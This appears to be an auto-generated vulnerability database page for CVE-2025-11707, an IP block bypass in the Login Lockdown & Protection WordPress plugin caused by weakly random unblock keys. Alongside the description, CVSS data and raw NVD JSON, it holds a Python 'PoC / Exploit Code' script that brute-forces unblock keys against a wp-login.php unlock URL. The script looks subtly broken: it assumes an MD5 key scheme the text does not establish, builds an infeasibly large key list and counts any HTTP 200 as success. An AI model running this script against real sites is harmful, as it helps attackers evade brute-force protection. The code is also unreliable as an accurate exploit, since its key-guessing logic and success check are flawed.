Security Vulnerability Report
中文
CVE-2025-11707 CVSS 5.3 MEDIUM

CVE-2025-11707

Published: 2025-12-13 16:16:46
Last Modified: 2026-04-15 00:35:42

Description

The Login Lockdown & Protection plugin for WordPress is vulnerable to IP Block Bypass in all versions up to, and including, 2.14. This is due to $unblock_key key being insufficiently random allowing unauthenticated users, with access to an administrative user email, to generate valid unblock keys for their IP Address. This makes it possible for unauthenticated attackers to bypass blocks due to invalid login attempts.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Login Lockdown & Protection <= 2.14 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hashlib import requests import itertools from string import ascii_lowercase, digits TARGET_URL = "https://vulnerable-site.com/wp-login.php" ADMIN_EMAIL = "[email protected]" BLOCKED_IP = "1.2.3.4" # Generate possible unblock keys based on weak randomization def generate_unblock_keys(email, ip, wordlist_path=None): keys = [] # Common weak key patterns for length in range(8, 17): for combo in itertools.product('abcdefghijklmnopqrstuvwxyz0123456789', repeat=length if length <= 10 else 8): key = ''.join(combo) # Test key generation logic pattern test_key = hashlib.md5(f"{email}{ip}{key}".encode()).hexdigest()[:16] keys.append(test_key) return keys def exploit_ip_bypass(target_url, admin_email, blocked_ip): # Step 1: Generate potential unblock keys potential_keys = generate_unblock_keys(admin_email, blocked_ip) # Step 2: Try each key to unlock IP for key in potential_keys: unlock_url = f"{target_url}?action=unlock&ip={blocked_ip}&key={key}&email={admin_email}" try: response = requests.get(unlock_url, timeout=5) if 'unlocked' in response.text.lower() or response.status_code == 200: print(f"[+] Valid unblock key found: {key}") return key except: continue return None # Usage if __name__ == "__main__": valid_key = exploit_ip_bypass(TARGET_URL, ADMIN_EMAIL, BLOCKED_IP) if valid_key: print(f"[SUCCESS] IP block bypassed with key: {valid_key}") else: print("[-] Failed to bypass IP block")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11707", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:45.597", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Login Lockdown & Protection plugin for WordPress is vulnerable to IP Block Bypass in all versions up to, and including, 2.14. This is due to $unblock_key key being insufficiently random allowing unauthenticated users, with access to an administrative user email, to generate valid unblock keys for their IP Address. This makes it possible for unauthenticated attackers to bypass blocks due to invalid login attempts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-330"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/login-lockdown/trunk/libs/functions.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3389843%40login-lockdown&new=3389843%40login-lockdown&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9c732ea2-0263-4b18-9aa4-29e387b26362?source=cve", "source": "[email protected]"}]}}